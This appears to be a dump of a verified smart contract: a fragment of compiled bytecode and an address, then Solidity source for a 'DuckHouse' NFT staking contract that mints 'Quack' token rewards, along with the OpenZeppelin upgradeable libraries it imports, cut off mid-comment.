3d6000fd5b505050506040513d60208110156124a057600080fd5b810190808051906020019092919050505050612587565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561254a57600080fd5b505af115801561255e573d6000803e3d6000fd5b505050506040513d602081101561257457600080fd5b8101908080519060200190929190505050505b505050565b6126298363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061287d565b505050565b600033905090565b6126f1846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061287d565b50505050565b60008383111582906127a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561276957808201518184015260208101905061274e565b50505050905090810190601f1680156127965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290612863576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561282857808201518184015260208101905061280d565b50505050905090810190601f1680156128555780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161286f57fe5b049050809150509392505050565b60606128df826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661296c9092919063ffffffff16565b90506000815111156129675780806020019051602081101561290057600080fd5b8101908080519060200190929190505050612966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612c1d602a913960400191505060405180910390fd5b5b505050565b606061297b8484600085612984565b90509392505050565b606061298f85612b8a565b612a01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310612a515780518252602082019150602081019050602083039250612a2e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612ab3576040519150601f19603f3d011682016040523d82523d6000602084013e612ab8565b606091505b50915091508115612acd578092505050612b82565b600081511115612ae05780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b47578082015181840152602081019050612b2c565b50505050905090810190601f168015612b745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b949350505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f9150808214158015612bcc57506000801b8214155b9250505091905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220feed1e1866bf1411ae826048c639bb40be465db004628ca15113209008fc441664736f6c634300060c0033
[ 16, 4, 9, 7 ]
0xF32583A622e8084716796326732020740Ade3b33
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/utils/ERC721HolderUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "./quack.sol"; contract DuckHouseV1 is Initializable, IERC721ReceiverUpgradeable, OwnableUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable { // Ref dopey duck contract IERC721 public dd; // Ref quack contract Quack public quack; uint256 public minStakeTime; uint256 public stakeRewardDefault; uint256 public stakeRewardBoosted; mapping(uint256 => bool) tokenIsBoosted; struct StakeStatus { bool staked; uint88 since; address user; } mapping(uint256=>StakeStatus) public steak; uint256 version; // Staking options === function setMinimumStakeTime(uint256 minTime) public onlyOwner { minStakeTime = minTime; } function setStakeRewardDefault(uint256 defaultReward) public onlyOwner { stakeRewardDefault = defaultReward; } function setStakeRewardBoosted(uint256 boostedReward) public onlyOwner { stakeRewardBoosted = boostedReward; } // End staking options === constructor(){} function initialize(address _dd, address _quack, uint256[] calldata boostedTokens) public initializer { // __ERC721Holder_init(); __ReentrancyGuard_init(); __Ownable_init(); __Pausable_init(); dd = IERC721(_dd); quack = Quack(_quack); quack.initialize("Quack", "QUACK"); minStakeTime = 2 days; stakeRewardDefault = 1 ether; stakeRewardBoosted = 4 ether; for (uint256 i = 0; i < boostedTokens.length; i++) { tokenIsBoosted[boostedTokens[i]] = true; } version = 1; } // Staking ==== function stake(uint256[] calldata ids) public { for (uint256 i=0; i < ids.length; i++) { _stake(ids[i]); } } function unstake(uint256[] calldata ids) public{ for (uint256 i=0; i < ids.length; i++) { _unstake(ids[i]); } } function _stake(uint256 id) private { StakeStatus memory stakeStatus = steak[id]; require(stakeStatus.staked == false, "Duck already staked"); dd.transferFrom(_msgSender(), address(this), id); steak[id] = StakeStatus({ staked:true, user: _msgSender(), since: uint88(block.timestamp) }); } function quackOwed(uint256 id) view public returns (uint256) { StakeStatus memory stakeStatus = steak[id]; if (!stakeStatus.staked) { return 0; } uint256 diff = (block.timestamp - stakeStatus.since) / 1 days; uint256 rate = stakeRewardDefault; if (tokenIsBoosted[id]) { rate = stakeRewardBoosted; } uint256 owed = diff * rate; return owed; } function _claimQuack(uint256 id) private { uint256 owed = quackOwed(id); quack.mint(msg.sender, owed); steak[id].since = uint88(block.timestamp); } function _unstake(uint256 id) nonReentrant private { StakeStatus memory stakeStatus = steak[id]; require(stakeStatus.staked == true, "Duck not staked"); require(stakeStatus.user == _msgSender(), "This ain't your duck"); require(block.timestamp - stakeStatus.since > minStakeTime, "Min stake time not reached"); dd.transferFrom(address(this), stakeStatus.user, id); _claimQuack(id); // set stake status steak[id] = StakeStatus({ staked: false, user: _msgSender(), since: uint88(block.timestamp) }); } // End Staking ==== function onERC721Received( address, address, uint256, bytes calldata ) nonReentrant external override returns (bytes4) { return IERC721ReceiverUpgradeable.onERC721Received.selector; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721ReceiverUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721HolderUpgradeable is Initializable, IERC721ReceiverUpgradeable { function __ERC721Holder_init() internal initializer { __ERC721Holder_init_unchained(); } function __ERC721Holder_init_unchained() internal initializer { } /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address, address, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC721Received.selector; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/presets/ERC20PresetMinterPauserUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; contract Quack is ERC20PresetMinterPauserUpgradeable { function burnFrom(address from, uint256 amount) public override { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to burnFrom"); _burn(from, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20Upgradeable.sol"; import "../extensions/ERC20BurnableUpgradeable.sol"; import "../extensions/ERC20PausableUpgradeable.sol"; import "../../../access/AccessControlEnumerableUpgradeable.sol"; import "../../../utils/ContextUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev {ERC20} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract ERC20PresetMinterPauserUpgradeable is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC20BurnableUpgradeable, ERC20PausableUpgradeable { function initialize(string memory name, string memory symbol) public virtual initializer { __ERC20PresetMinterPauser_init(name, symbol); } bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ function __ERC20PresetMinterPauser_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); __ERC20_init_unchained(name, symbol); __ERC20Burnable_init_unchained(); __Pausable_init_unchained(); __ERC20Pausable_init_unchained(); __ERC20PresetMinterPauser_init_unchained(name, symbol); } function __ERC20PresetMinterPauser_init_unchained(string memory name, string memory symbol) internal initializer { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint"); _mint(to, amount); } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) { super._beforeTokenTransfer(from, to, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * 